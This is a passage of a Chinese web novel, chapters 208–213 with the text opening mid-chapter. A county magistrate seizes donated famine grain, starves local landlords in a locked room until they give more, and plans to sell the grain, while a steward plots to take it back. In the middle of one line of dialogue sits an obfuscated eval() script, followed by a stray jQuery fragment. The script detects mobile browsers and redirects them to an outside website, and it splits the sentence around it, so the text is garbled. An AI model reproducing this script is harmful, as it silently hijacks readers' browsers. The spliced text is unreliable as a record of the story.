要是不能在规定的期限内完成征粮任务,他这个县长的宝座可就要易主了。 中年男子轻轻敲了敲门,王正直没有理会。 他知道王正直在办公室里面,边敲门边说道:“王县长,外边有人找您,说是警察局牛局长安排来的。” 王正直心想,牛得水摆什么谱,有事不亲自来汇报,还安排手底下人过来,真是不懂规矩。 不过警察局局长手中握有实权,他也不能不重视。 “带他过来吧。” 中年男子答应一声,便立即回到接待室,带着李二狗来到县长办公室门前。 照例是先敲门,这次里面很快就传来应允声。 “王县长,这位先生找您。” 王县长坐在椅子上并没有起身,他只是若有所思地点了点头,中年男子便转身关门走了出去。 “王县长您好,我是仙人洞镇胡家大院的管家李二狗。” 对于胡家大院,王正直倒是有所耳闻,全县最大的地主大院。 “你们老爷叫胡士高?” “是的,王县长。” “你找我有什么事?” “王县长,我们老爷和大奶奶看到江东许多穷苦百姓背井离乡,流离失所,县长您为了百姓日理万机、焦头烂额,我们深感痛心,决定举全大院之力,向县政府捐出十万斤小麦,聊表寸心,以为县长分忧、为百姓解难。” 王正直听后猛地站了起来,直奔到李二狗面前,眼含热泪,紧紧地握住他的手。 “疾风知劲草,板荡识忠臣,你们胡家大院能在江东百姓危难之际挺身而出,慷慨解囊,我代表全江东的百姓感谢你们,谢谢,谢谢,那个……你叫什么来?” “报告县长,鄙人叫李二狗。” “对对对,李二狗,你们的行为让我王某人刮目相看,我要号召全江东的地主富贾向你们学习。” “王县长,您真是太客气了,您为了江东百姓殚精竭虑,日夜操劳,和您比起来,我们做的这点小事根本不值一提。” 王正直发自肺腑的笑了,他没想到一个乡下土财主的管家竟能有如此见识,真是一个不可多得的人才。 “李管家,如果江东的地主富贾都能像你们胡家大院这样心系百姓,为政府分忧,我即使累死也是心甘情愿啊。” “王县长,您过誉了,您看这粮食我们运到哪里?” “就运到县政府后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872082|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的仓库吧。” 王正直说完,突然哭了起来,着实把李二狗吓了一跳。 “王县长,您这是怎么了?” 王正直赶紧把脸上的泪水擦掉,不好意思地说道:“让李管家见笑了,哎,我只是为江东的百姓难过,三万多人,这十万斤粮食,实在是杯水车薪呐,撑不了多久的。” 李二狗从未见过如此爱民如子的父母官,他一激动,直接说道:“王县长,您的这份为民情怀实在让我李二狗感动,等我回去向我们老爷和大奶奶汇报,我们勒紧裤腰带,再捐五万斤小麦。” “哎呀,李管家,你的行为让我王某人见识了什么叫乐善好施、什么叫雪中送炭,来,快请坐。” 王正直握住李二狗的手,把他拉到沙发旁,然后亲自去给他倒了一杯热茶。 “李管家,请用茶。” “哎吆,王县长,这怎么敢当?受之有愧,受之有愧。” “李管家你就不要客气,你们胡家大院能主动为政府分忧,我王某人理应感谢,改日我一定登门拜访胡老爷。” “谢谢王县长的厚爱,我代表我们老爷感谢您。” “喝水,喝水。”王正直眼珠子一转,继而说道:“李管家,你们胡家大院虽然捐助了十五万斤粮食,可对咱们整个县来说,还是远远不够啊。” 李二狗倒吸一口凉气,心想这个王正直虽是为了百姓着想,可也不能如此没完没了。 “王县长,我也知道,这十几万斤粮食远远不能满足全县百姓之需,可您也知道,今年接连大旱,夏粮秋粮全部绝收,佃户们的租子根本就收不上来,我们老爷心又善,又不忍心强逼那些佃户,我们交完政府的赋税之后,实在也没有多少余粮了,实不相瞒,这已经是我们胡家大院所有的存粮了。” 王正直内心早已估算过,以胡家大院的实力,一下子拿出十五万斤小麦确实已经到达极限。 “李管家,你千万不要误会,我可不是你想的那个意思。” 第208章 你好糊涂啊 李二狗听王正直如此说,心中才暗暗松了一口气。 “那不知王县长的意思是?” “李管家,咱们江东县不只有你们胡家大院,像其他的大院,如果能向你们胡家大院学习,一定能解决咱们江东目前的困境,你看,其他大院他们有这个实力吗?” 李二狗想到了老王的一句话,中国是大家的中国,每个中国人都是兄弟姐妹,如今遇到天灾,大家理应相互帮助渡过难关才是。 “王县长,和您说实话,其他大院具体是什么情况我真的不知道,不过拿出个三五万斤粮食应该还是没有多大问题。” 听李二狗如此一说,王正直心里便有数了。 胡家大院能一次性捐出十五万斤小麦,其他大院要是不捐出个三五万斤,他就有了正当理由治他们。 “李管家,再次感谢你们胡家大院的慷慨捐助,江东老百姓一定不会忘记你们的功德。” 李二狗知道王正直这是要送客了,便站起身来说道:“王县长您客气了,我明天就把粮食送过来,不过为了确保粮食安全,我斗胆建议是不是请警察局路途护送一下,我怕路上出事。” “这个自然,这个自然,待会我会亲自给警察局牛局长打电话安排此事,李管家现在就可以去警察局和他们对接一下,你也知道,现在灾民嗷嗷待哺,时不我待啊,晚一分钟不知道会饿死多少人。” 王正直一脸悲戚,再次忍不住落下热泪。 “王县长放心,我回去就着手安排,今天晚上一定把粮食送过来。” “再次感谢李管家,我送你出去。” “不敢,不敢,王县长请留步。” 李二狗离开县政府的时候,正好看到一群灾民堵在县政府大门口,几个警察正在对他们拳打脚踢,毫无怜悯之意,他总感觉哪里不对劲。 来到警察局,牛得水已经接到王正直的电话,他安排孙竹刚负责此事。 “大哥,你现在就得派几个兄弟跟我回胡家大院,我得连夜把粮食运过来,那么多灾民实在是等不起啊。” 孙竹刚警惕地瞅了瞅门外,然后关上房门,才低声说道:“二狗兄弟,你好糊涂啊,你说这么大的事情,你怎么不提前找我商量商量之后再做决定?” 李二狗不明所以,问道:“大哥,捐粮食是我们老爷和大奶奶做的决定,我只是负责执行罢了。” “好了,兄弟,这里也没有外人,你就别和哥哥打马虎眼了,谁不知道胡家大院现在由你说了算。” 李二狗嘿嘿一笑,说道:“大哥,可不管怎么说,毕竟是胡家大院,我只是一个管家罢了。” “咱先不管你说了算不算,你先告诉我,你这次给县政府捐了多少粮食?” “十五万斤小麦,怎么了?” “我的天呐,二狗兄弟,你实在是太糊涂了,一下子捐了这么多小麦,你们胡家大院不过了?” “本来打算捐十万斤,可王县长一会夸一会哭,我一激动又捐了五万斤。不过都是为了江东的百姓,多捐点就多捐点吧。” “你以为这些粮食会分到灾民手中吗?” 李二狗听了不由得大吃一惊,其实他有心理准备,这些粮食捐出去之后,政府官员肯定会截留一些,但大部分应该还是会分到灾民手中,县政府总不能眼睁睁瞅着灾民饿死吧? “我想应该不至于吧?” “二狗啊,我明确告诉你,这些粮食肯定不会分到那些灾民手中。” “不会吧?” “二狗兄弟啊,你是没在政府部门待过,不知道政府到底什么样。我刚刚听到的消息,汤司令向江东县额外摊派了五十万斤的军粮。军粮,你知道什么是军粮吗?那是打仗用的,谁敢耽误?可江东县现在一粒粮食都没有,他王正直拿什么交?” “那也不能拿赈济灾民的粮食上交吧?这可是他们救命的粮食!” “谁会在意灾民的死活?和自己头顶上的乌纱帽比起来,灾民是死是活重要吗?全省都在闹旱灾,你见南京国民政府拨过一分钱一粒粮食没有?” 李二狗沉默了,南京国民政府不拨粮拨款进行赈灾,确实令人难以理解。 “我告诉你,不是南京国民政府不拨,而是他们压根就不知道咱们省的灾情。” “不会吧?” “哼,县长要保头顶上的乌纱帽,省长难道就不保吗?现在全国到处都在打仗争地盘,死几个灾民又算什么?” 李二狗彻底哑口无言,他完全没有料到会是这种情形,早知这样,他就应该自己开粥棚进行赈灾。 “大哥,那现在怎么办?” “没有办法,你已经答应了王县长,就必须把粮食交出来,不然他有一万种方法治你。” 李二狗不是没想到官场复杂,他只是对人性还没有更深层次的了解。 “大哥,事已至此,你还得派人帮着把粮食运过来,我想王县长的心也是肉长的,多少总得拿出一部分粮食救济救济灾民。” “哎,但愿如此吧。” 孙竹刚派了一队警察跟着李二狗来到胡家大院,李二狗组织人连夜把粮食运到了县政府仓库。 和孙竹刚预料的一样,第二天县政府并没有组织赈灾,好像什么事都没有发生过一样。 不仅如此,县政府还颁布了一条命令,不允许灾民到县城乞讨,大批灾民被堵在城门口,放眼望去,乌泱乌泱一大片。 李二狗想去县政府问问王正直,给他施加一点压力,没想到大门口的警察根本不让李二狗进去。 李二狗照例掏出两块大洋塞到警察手里,谁承想警察把大洋放进了衣兜,依然不让李二狗进去。 李二狗急了,收人钱财不帮人办事,天底下哪有这种道理。 “老总,您这……您可不能这样啊。” 警察四顾无人,才悄悄对他说道:“实话告诉你吧,王县长特意吩咐过,不让放你进去,你还是走吧,别让我为难。” 李二狗这才确信,王正直这个人根本不正直。 第209章 自愿捐赠 王正直不仅不把胡家大院捐赠的粮食拿出来赈济灾民,还把全县的地主豪绅召集起来开了一次赈灾动员会。 当然这次赈灾动员会并没有邀请胡家大院的人参加。 县政府会议室里,几个地主凑在一起聊天。 “王县长把咱们这些人叫来开会,知道是为了什么事吗?” “不知道,但我估计不是什么好事。” “是啊,现在到处都是灾民,王县长不会为了一点小事把咱们召集起来。” “我听说汤司令刚刚摊派给江东县五十万斤军粮的任务,王县长兴许是为了这件事。” “现在小麦一天一个价都涨疯了,我家这些年存的小麦早让我卖了。” “是啊是啊,我家的也都卖了。” “对,待会王县长要是问起来,咱们一定要众口一词,只要咱们抱成团,相信他也不能拿咱们怎么样!” 正说话间,王正直板着脸走了进来,喧哗的会议室顿时安静下来。 王正直清了清嗓子,看了看秘书给他准备的讲话稿,皱了皱眉头,把讲话稿推到一边。 “特殊时期就不说废话了,咱们直接开门见山。” 王正直说完,眼睛锐利地扫视了一圈下面坐着的地主富贾,他们全部低着头,不敢与他对视。 “各位都是江东县有头有脸的人物,今天把大家请来,不为别的,是为了请大家给县政府和我某人想想办法,以解目前江东之困境。” 会议室里鸦雀无声,大家生怕喘气声大了被王正直注意到自己。 “大家都知道,今年以来咱们江东县遭遇了百年难遇的旱情,夏粮秋粮接连绝产,看着那么多的江东父老食不果腹以致流离失所,我作为一县之长,实在是有愧于江东父老乡亲们的期望,我就是咱们江东的罪人呐!” 王正直讲到动情处,潸然泪下,以至于讲话的声音都有些颤抖。 他拿起手绢,边擦拭眼泪边继续说道:“胡家大院的胡士高心系江东父老,刚刚捐赠了十五万斤小麦。” 会议室立刻出现一阵骚动,大家都在会议室寻找胡家大院的人。 “十五万斤小麦?胡士高这是疯了吗?” “胡家大院怎么会有那么多小麦?” “对啊,不会是在诓我们吧?” “反正我是不信!” “胡家大院连人都没来,肯定有诈!” 王正阳故意咳嗽一声,挥挥手让大家安静下来。 “我知道大家不相信,但这件事千真万确,胡家大院捐赠的十五万斤小麦此刻就存放在县政府后面的仓库里。” “胡士高几乎捐出了他们大院全部的存粮,这种不计较个人得失,心中有大爱、肩上有担当的人,值得我们在座的每一个人好好学习啊。” 大家这才明白王正直召开此次会议的真正目的,原来是想让大家捐赠粮食。 大家内心纷纷开始谴责胡家大院爱出风头,打肿脸充胖子,这是把他们放在火上烤! “我也不想为难大家,捐赠本来就是自愿行为,大家根据自家情况先报个数吧。” 大家纷纷把头低下去,谁都不吭声,既然是自愿,那他们就用沉默来表达自己的态度。 小麦价格堪比黄金,他们是真的舍不得拿出来! 王正直看大家一言不发,当然知道他们心里打的什么算盘。 “沈少爷,你先说说吧。” 沈必达没想到王正直会最先叫他的名字。 他哭丧着脸站起来,说道:“王县长,我家的情况您是知道的,前不久家里刚被土匪抢了,我爹也被他们杀害了。” 沈必达一把鼻涕一把泪诉说着沈家大院的不幸遭遇。 王正直冷哼一声,直接说道:“沈少爷,大家都知道的事就不必说了,你先说说你们沈家大院自愿捐赠多少粮食吧。” 沈必达擦干眼泪,一副豁出去不过了的样子。 “王县长,咱们江东遭了难,我们沈家就是再困难,也不能眼睁睁看着父老乡亲受苦而无动于衷,我们勒紧裤腰带捐赠五千斤小麦,以解燃眉之急。” 王正直冷笑道:“沈少爷还真是把我王某人当叫花子了,五千斤?你还真是慷慨。” “哎,王县长,我知道五千斤小麦实在是不多,可我家真的拿不出更多粮食了,还请王县长体谅我们沈家大院的难处。不过请您放心,等熬过今年,我们沈家大院肯定会多捐赠粮食,支持王县长工作。” “吴老爷,你们吴家大院准备捐赠多少粮食?” 吴老爷颤巍巍站起来,还未说话便先剧烈地咳嗽起来,仿佛要把自己的肺咳出来一般。 “王……县长,老朽……咳咳咳……老朽……咳咳咳……” 王正直鄙夷地看了他一眼,说道:“你先坐下吧。刘老爷,你们刘家大院捐赠多少?” 刘老爷恨不得把脑袋夹在腚沟里,可还是被王正直点了名。 “王县长,我们刘家大院的实力无法和胡家大院、沈家大院相比,我们就先捐三千斤小麦吧,聊表寸心。” 王正直被这群地主豪绅彻底激怒了。 “看来大家是打定决心不给我王某人面子了,那我也就不和大家客气了。” 他一挥手,旁边站着的一个人拿着一沓事先准备好的纸开始给大家发放。 “刚才发给大家的纸上写着你们需要自愿捐赠粮食的数量,谁捐完了才可以离开这间会议室,否则就别怪我王某人不客气了。” 沈必达看着自己拿到的纸上写着小麦五万斤,差点气得背过气去。 “王县长,您就是现在杀了我,我们沈家大院也拿不出这五万斤小麦啊!” “是啊,我们真的拿不出来啊!” “我看王县长还是把我们都拉出去用机枪突突了吧!” “要粮没有,要命一条!” 大家纷纷发泄着自己内心的不满,一时间,会议室吵翻了天。 这一切都在王正直的预料之中。 “谁捐不齐粮食一律不许离开这间会议室,来人!” 四名荷枪实弹的警察推门走了进来。 “你们都给我听好了,没有我的命令任何人不许擅自离开这间会议室,否则立马抓起来打入大牢。” “是!” 声洪如钟,震得众人胆战心惊! 王正直嘴角含笑,他站起身来,再次扫视众人。 “如果你们需要向家里人报信,我这里有人,随时听候你们差遣!” 第210章 谁都不许先认怂 王正直说完之后,立马拍拍屁股走人了,只剩下一屋子的地主豪绅大眼瞪小眼。 “他就是县长也不能如此霸道啊,这不是把咱们关起来了吗?” “对啊,他有什么权力把咱们关起来?咱们都是守法公民!” “最气人的是会上明明说了是自愿捐赠,这怎么说翻脸就翻脸呢?” “不行!我要回家!” 刘家大院刘老爷仗着资历老年纪大,站起来就要往外走,被一个警察拦住。 “王县长有令,任何人不许离开这间会议室!” “老朽都快七十岁了,什么大风大浪没见过?我告诉你们,你们还别吓我,我谁都不怕!” 刘老爷说着就硬要往外闯,这些警察得到的是死命令,放走一个人立马被开除出警察队伍,他们可不管你什么资历年龄,这年头,自己的饭碗才是最重要的。 “站住!再敢向前,老子就不客气了!” 刘老爷把脖子伸出去,嚷道:“小兔崽子,你是谁老子?来来来,你往老子这里打!” 这个稍显稚嫩的警察还是犹豫了,这是遇到老无赖了! 带队的警察是个队长,名叫孙铁柱,他可不管这一套,一把抢过那个稚嫩警察手里的枪,一枪托把刘老爷砸倒在地。 “你们连老人都打,你们还是人吗?” “江东县政府还有没有王法?” “我要到省里去告你们!” 孙铁柱微微一笑,轻蔑地说道:“谁他娘再敢往外闯,一律格杀勿论!” 看着警察猩红的眼神,这些地主豪绅还是害怕了。 两个相熟的地主把刘老爷抬到椅子上,刘老爷被这一枪托砸得着实不轻,嘴里哼哼唧唧地说不出话。 “快给刘老爷喝点热水。” 这时他们才发现,桌上的水杯早被人撤了下去。 “快去拿点水来,刘老爷要喝水。” 警察根本无动于衷。 “吴老爷,这里只有你最年长,你快拿个主意吧。” 吴老爷这时候也不咳嗽了,你捋着山羊胡,沉思良久,终于说道:“大家知道现在小麦多少钱一斤吗?” 沈必达急得头上冒火,说道:“哎呀,吴老爷,都这时候了谁还管小麦多少钱一斤?大家都等着您拿主意呢?” “沈少爷,你还是年轻啊,心急则乱,遇事一定要冷静。” 沈必达只能深深地叹了口气,坐在椅子上不再说话。 “吴老爷,昨天小麦已经涨到二毛五一斤,您问这个干什么?” 吴老爷又捋了捋山羊胡,显得非常镇定。 “大家想一想,小麦二毛五一斤,五万斤小麦得多少钱?” 五万斤小麦,得一万多块现大洋,确实是一笔巨大的数目。 “吴老爷,可我们要是不出,咱们被关在这里就出不去啊。” “只要咱们大家抱成一团,谅他王正直也没有办法,他敢把咱们都杀了?他不敢!” “对对,吴老爷说得对,咱们大家得抱成一团,谁都不许先认怂!” “不能认怂!咱们大家说好了谁都不许认怂,谁先认怂,我操他祖宗!” “好,我同意!” “我也同意!” 达成一致意见后,众人都坐在椅子上,闭目养神,一言不发,只有偶尔传出刘老爷痛苦的呻吟声。 王正直来到会议室门口,孙铁柱刚要敬礼,被王正直一个手势制止了。 “孙队长,里面什么情况?” “王县长,这些人油盐不进,纷纷拿出一股舍命不舍财的劲头,我看很难办啊。” 王正直毕竟是省城派下来的人,见多识广,又上过大学,治几个土财主,他有得是办法。 “从现在开始,一滴水一粒米都不许进入这间会议室,拉屎撒尿也不许出这间会议室。” 孙铁柱皱着眉头,说道:“王县长,这么多人,每人一泡屎,这个会议室可就闻不得了。” 王正直罕见地拍了拍孙铁柱的肩膀,说道:“咱们闻不得,他们更闻不得!” 孙铁柱心领神会,说道:“王县长放心,我保证一只苍蝇也飞不出这间会议室。” 众人齐心协力,在会议室一直坐到天黑。 吴老爷颤巍巍站起来,走到门口,说道:“老朽要上厕所!” “对不起,任何人不许走出这间会议室。” “老朽实在是憋不住了,就让我去吧,你们可以派人跟着我。” “快回去!王县长特批,你们实在忍不住,可以就地解决。” “你你你……” 吴老爷气得手直哆嗦,大口大口喘着粗气。 “吴老爷,您别生气了,再气出个好歹来,我看呐,您要是实在憋不住,就找个角落就地解决吧。” “老朽活了大半辈子,还从未受今天这般羞辱,大庭广众之下,如何能……哎……” 沈必达在日本留过学,脑子比较活泛。 “吴老爷,您等着,我给您支个厕所,来,大家一起帮帮忙。” 在沈必达的指挥和亲自参与下,几张椅子和一张桌布搭成的简易厕所就完工了。 “吴老爷,您去吧。” 吴老爷看着众人齐刷刷的眼神,还是拉不下这张脸。 “算了,算了,老朽还是再忍忍吧。” 不仅吴老爷憋不住,很多人都有些憋不住,但吴老爷一大把年纪都能忍,他们也只好忍着。 夜幕降临,大家都坐在椅子上不再说话,一边肚子饿得咕咕叫,一边屎又憋在腚门上。 突然,一股浓郁的腥臊味袭来,大家纷纷捂住口鼻。 吴老爷泪流满面,原来他尿在了裤子里。 “我真是没脸活下去了!” “吴老爷,您别难过,大家现在还都得指望您主持大局呢,您可千万不能屈服啊。” “是啊,吴老爷,您是咱们大家的主心骨。” 沈必达站出来,大声说道:“娘的!活人还能被尿憋死,都这时候了,大家也不必藏着掖着了,就尽情释放吧。” 沈必达走进自己搭建的简易厕所里,“噗哧噗哧”几声过后,味道很快便充斥到整间会议室,特别酸爽。 王正直选得这间会议室竟然没有窗户,这个计划他真是筹划得天衣无缝。 第211章 舍命不舍财 沈必达给大家做了一个好榜样,其他人便彻底放下了心理包袱。 会议室里瞬间全是“哗啦哗啦”“噗哧噗哧”的声音。 彻底释放之后,会议室简直成了牲口交易市场,那味道…… 众人解决完拉撒问题之后就面临吃喝问题。 刚才大家憋着的时候没觉得怎么饿,释放以后才发现肚子早已饿得前胸贴后背,他们已经一整天滴水未进了。 “真想有个肉包子,我能一口气吃十个!” “还他娘的肉包子,有白面馒头我都能吃十个!” “还他娘的白面馒头,就是窝头我也能一口气吃十个!” “还他娘窝头,现在就是有白开水我都能喝十碗!” “好饿啊!” “好渴啊!” “都他娘别嚎了,赶紧睡觉,睡着就好了。” 大家都不再作声。 夜,很漫长,特别特别漫长! 他们被关在一间密闭的会议室里,完全分不清白天和黑夜。 不知道过了多久,门突然被打开了,孙铁柱差点被臭气熏天的会议室熏晕过去。 他捏着鼻子,大声说道:“王县长看大家已经一整天滴米未进,现在已吩咐厨房蒸好了猪肉大葱馅的肉包子,谁如果想通了,现在立马可以离开这里去餐厅吃肉包子,那肉包子一掰开,滋滋冒油啊,还有热乎乎的鸡蛋汤,老香了。” 大家面面相觑,不知道该如何是好,于是纷纷瞅向吴老爷。 吴老爷闭着眼,根本不为所动。 大家看吴老爷这么大年纪还在坚持,自己实在没有放弃的理由。 一万多块现大洋,够吃几辈子肉包子! 绝对不能屈服! 大家纷纷闭上眼睛,不再理会孙铁柱。 “他娘的,真是一群守财奴,我算是开了眼了,舍命不舍财,我倒要看看你们能坚持到什么时候!” 他“啪”的一声关上房门,然后跑到王正直办公室。 “孙队长,那些人怎么样了?答应了吗?” “报告王县长,那些人舍命不舍财,根本不听劝,真是一点办法都没有啊。” “哼,我倒要看看他们到底还能坚持多久!这才第一天,我有得是时间陪他们玩。” “王县长,如果他们一直不屈服,咱们怎么办?” “哈哈,这些人平时锦衣玉食惯了,能坚持一天已经出乎预料,你放心,他们绝对撑不过明天。” “我担心要是闹出人命,可就不好收场了。” 孙铁柱其实是担心出了事自己会背黑锅。 王正直笑道:“孙队长,书上说了,人不吃不喝,三天之内绝对没有问题,这都是知识点啊,你没事的时候,还得多读书啊。” 孙铁柱嘿嘿一笑,一副受教的模样。 “谢谢王县长的谆谆教诲,以后我一定向王县长学习,多读书,那我先出去了?” “去吧,告诉弟兄们,再辛苦两天,事后每人发三块大洋,你发五块。” “谢谢王县长,谢谢王县长,那我就先去忙了。” 王正直挥了挥手,孙铁柱笑呵呵地走了出去。 离汤司令规定的交粮日期还有三天时间,他有得是时间陪这群老顽固玩。 一天一夜又过去了,这群人已经处于崩溃边缘。 吴老爷饿得奄奄一息,他已经无法坐立,被几个人抬到会议桌上,躺在那里直哼哼。 “吴老爷,我看王县长这次是动了真格,咱们这样下去可不是办法啊。” “是啊,要是真饿死了,咱们就是留再多的小麦又有什么用?” “必须尽快想出一个万全的办法。” “吴老爷,您倒是说句话啊!” 吴老爷终于缓缓地睁开眼睛,嘴唇颤抖着,哆哆嗦嗦地说道:“他……他王正直……不敢饿死……咱们!” 沈必达抢着说道:“吴老爷说得对,王正直就是有再大的胆子,也不敢闹出人命,否则他没法收场,咱们现在要做的就是坚持,一定要坚持到底!” 其实沈必达心中有自己的小九九,他盼望着吴老爷快点饿死,这样的话王正直就不得不放人。 反正自己年轻,肯定不会首先被饿死。 好多人都抱着这种心理,期盼着别人先饿死。 王正直事先也没想到这群守财奴能坚持这么久,如果真活活把人饿死在县政府会议室,一旦传扬出去,自己肯定难逃干系。 大学生毕竟是大学生,读书人王正直立马想出了一个新主意。 他把孙铁柱叫来,吩咐道:“孙队长,你立马去会议室告诉他们,前十个答应捐粮的人可以在原有基础上打八折,后十个在原有基础上涨二成。” 孙铁柱正在担心闹出人命,听到王正直的新安排,立刻喜上眉梢。 “王县长,高!实在是高!” 当孙铁柱把王县长的新安排说出去的时候,会议室先是一片死寂,继而大家争先恐后地向会议室门口跑去。 “我捐!” “我捐!” “我是第一个答应的!” “我才是第一个!” “你敢和我老子抢?我和你拼了!” “我打死你个狗日的!” 会议室顿时乱成一团,再也没有人去关心吴老爷。 吴老爷不甘心坐以待毙,他用尽全身力气从会议桌爬下来,“砰”的一声摔在地上,根本没人有功夫去理会他。 他颤巍巍抬起手举向门口。 “老朽才是第一个!” 看着大家争先恐后的样子,站在窗边的王正直笑得特别灿烂。 第一张多米诺骨牌既倒,后面的就身不由己了。 王正直安排大家在餐厅吃了一顿丰盛的包子,一直等到他们把粮食全部如数送到县政府仓库之后,才陆续把他们放回家。 事后一统计,竟然筹集到了一百万斤小麦,扣除五十万斤军粮,还剩五十万斤。 王正直笑得合不拢嘴,而李二狗则气得直跺脚,他没想到王正直如此贪得无厌,一粒小麦都舍不得拿出来赈济百姓。 他绝不能眼睁睁看着王正直中饱私囊而江东百姓却饿殍满地。 汤司令派部队把五十万斤军粮拉走了。 李二狗决定一定把剩下的五十万斤小麦抢回来,分给全县的灾民。 第212章 一个好消息 李二狗独自赶着马车来到孙竹刚家里。 “嫂子在家吗?” 严婆惜正在床上睡觉,听到自己日思夜想的声音,穿着红肚兜赤着脚就跑了出来。 “二狗兄弟,你可来了!” 严婆惜两眼放光,眼睛直勾勾盯着李二狗。 “嫂子,你这……” 严婆惜一低头,才看到自己衣衫不整,她把李二狗一把拉进来,关上院门。 “二狗兄弟不是外人,咱们进屋说。” “嫂子,我这马车上还有给你带的东西,还是先把东西卸下来吧。” “东西先不着急,咱们先进屋,趁你大哥还没回来。” 好吃不如饺子,疼人不如嫂子,李二狗根本无法拒绝严婆惜的疼爱。 一直到太阳落山,李二狗才不得不说道:“嫂子,大哥应该快回来了吧?” 一语惊醒梦中人。 “对对,你大哥快回来,嫂子这就起床去给你包饺子去,晚上陪你大哥多喝几杯,就在这住下。” 李二狗没办法,这年头求人办事太难了。 严婆惜去做饭,李二狗则把马车上装的几袋子面粉和两扇猪肉搬了下来,堆在厨房里,乐得严婆惜亲了李二狗好几口。 “二狗兄弟,你真是及时雨啊,现在这粮食贵的,都快吃不起了。” “嫂子,你们尽管放心,吃没了我再给你们送。” “二狗兄弟每次来,嫂子都像过年一样,你以后可得常来啊。” “都听嫂子的。”李二狗心不甘情不愿地说道。 两人正说话的时候,孙竹刚回来了。 “二狗兄弟来了,看门口的马车我就猜到是你来了。” 满面红光的严婆惜说道:“你看二狗兄弟送的这些面粉和猪肉,都不知道该怎么感谢二狗兄弟了。” “自家兄弟还感谢什么?你快去给咱兄弟包饺子,晚上我们哥俩得喝几杯。” “还用你说?你待会陪二狗兄弟多喝几杯,让二狗兄弟晚上在家住下。” 孙竹刚和李二狗进了屋。 “二狗兄弟,找我什么事?” “大哥,有件大事我想听听你的意见。” “兄弟你说。” “前两天我们胡家大院向县政府捐赠了十五万斤小麦,王正直又通过卑劣手段让全县的地主乡绅捐赠了大量的粮食,除了被汤司令拉走的五十万斤,现在县政府仓库还有五十万斤小麦,他王正直竟然连一粒粮食都舍不得拿出来赈灾,实在是丧尽天良。” “难道兄弟的意思是想抢……” “大哥以为如何?” “兄弟,上次王正直吃了土匪的亏,他现在变得特别谨慎,前天专门从警察局抽调了三十名警察守卫县政府仓库,这次要想硬来,肯定是没有任何机会的。再说,那么多粮食,也不是说搬走就能搬走的。” “大哥,你放心,兄弟我不是鲁莽之人,再说我也不能害你不是?” “二狗兄弟,你说的这是哪里话?大哥又不是胆小怕事之人,我主要是担心事办不成,再把你折进去,得不偿失啊。” “大哥,你听听我这主意怎么样?” 李二狗把自己的计划全部告诉了孙竹刚。 “好主意啊,没想到兄弟还有这层关系?你真是越来越令我佩服了。” “大哥,咱们是兄弟,我的不就是你的吗?” “二狗兄弟说得对,咱们兄弟不分彼此,我的就是你的。” 严婆惜笑嘻嘻地把菜端了上来,问道:“你们哥俩说什么呢?这么开心,说出来也让我高兴高兴。” “我和二狗兄弟说,我和他不分彼此,我的就是他的,你说是不是?” 严婆惜娇羞一笑,说道:“这还用得着你说?二狗可是咱亲兄弟,你们先喝着,饺子一会就包好。” 不出意外,孙竹刚很快就喝得烂醉如泥,他的酒量是真差。 “不能喝还非喝这么多,”严婆惜笑得花枝乱颤,“真是拿他没办法。” 李二狗心想,我也是真拿你没有办法。 牛得水来到王正直办公室。 “牛局长,找我什么事?” “王县长,我有一个好消息,特来向您汇报。” “好消息?牛局长,这都什么时候了?灾民哀鸿遍野,我这焦头烂额的,你还什么好消息!” “王县长,您先别急,听我说完您就明白了。” “说吧,到底是什么事?” “您听说过省城的吴有德吗?” “吴有德?”作为省城下派的干部,王正直当然听说过吴有德,“他的大名还能没听过吗?怎么了?” “王县长,您也知道,现在全省到处都在闹灾荒,周边几个省又在打仗,小麦的价格都要涨到天上去了,就是这样,想买小麦还是非常困难,尤其是大量购买。” “你到底想说什么?” “王县长,我得到可靠消息,吴有德正在高价收购小麦,价格比市场价高出三成,而且是大量收购。” 王正直心动了,他正愁着怎么把五十万斤小麦快速变现,这么多小麦堆在仓库里,就像一颗定时炸弹,一天不卖出去他一天不能安心。 可这么多小麦要想短时间内卖掉,实在不是一件容易的事,没想到机会这么快就来了。 “消息可靠吗?” “绝对可靠,我来您这里之前,专门给省城吴有德的贸易行发过电报,他们回复千真万确。” 王正直上过大学,读过多年圣贤书,他做事一向稳重,这次当然也不能例外。 只给贸易行打过电报,并不能使他安心。 “牛局长,你的这个消息非常重要,等事成之后,我一定不会亏待你,不过此事关系重大,我得亲自确认一下才放心,这两天你一定要派人看好仓库,千万不能出事,明白吗?” “王县长,属下明白,您放心好了。” 牛得水走后,王正直来到机要室,通过电台给省政府机要室一个相熟的朋友发了一封电报。 此人是王正直在省政府工作时的好朋友,他收到电报后立马给吴公馆打了电话。 吴有德亲自接听的电话,他亲口承认自己的贸易行正在高价收购小麦,并答应马上派人去江东,洽谈购买事宜。 当王正直收到电报时,开心得一晚上都没睡着。 五十万斤小麦一出手,他可以吃喝嫖赌几辈子! 第213章 静雯来到江东 一辆斯蒂庞克牌小轿车停靠在江东县政府大门口,静雯穿着一身绣着荷花的淡绿色旗袍从车里走下来,王正直看得眼珠子差点掉在地上。 静雯,曾经的百乐门大舞厅头牌舞女,王正直是见过几次的。 那时候他还只是省政府的一个小人物,每月的薪俸少得可怜,对于静雯,他只能远观而不敢亵玩焉。 没想到现在的静雯,出落的更加清新脱俗,更加美丽干练,他实在没有想到吴有德派到江东洽谈合作事宜的竟会是她。 如果没猜错,她肯定是吴有德的小情人。 想到这,王正直一脸猥琐,仿佛已经嗅到晚上一亲芳泽的好机会。 “哎吆,静雯小姐,大驾光临,王某有失远迎,恕罪恕罪。” 静雯没想到王正直竟然认识自己,但从他猥琐的眼神里也猜到了是怎么回事。 她微微一笑,主动向王正直伸出纤纤玉手,王正直赶紧上前握住。 “王县长客气了,吴爷派我来向王县长汇报一下收购小麦的事,还请王县长多多关照。” “这个好说,好说,我已备好薄酒,还请静雯小姐赏光。” “嘻嘻,那就恭敬不如从命了,谢谢王县长的美意。” 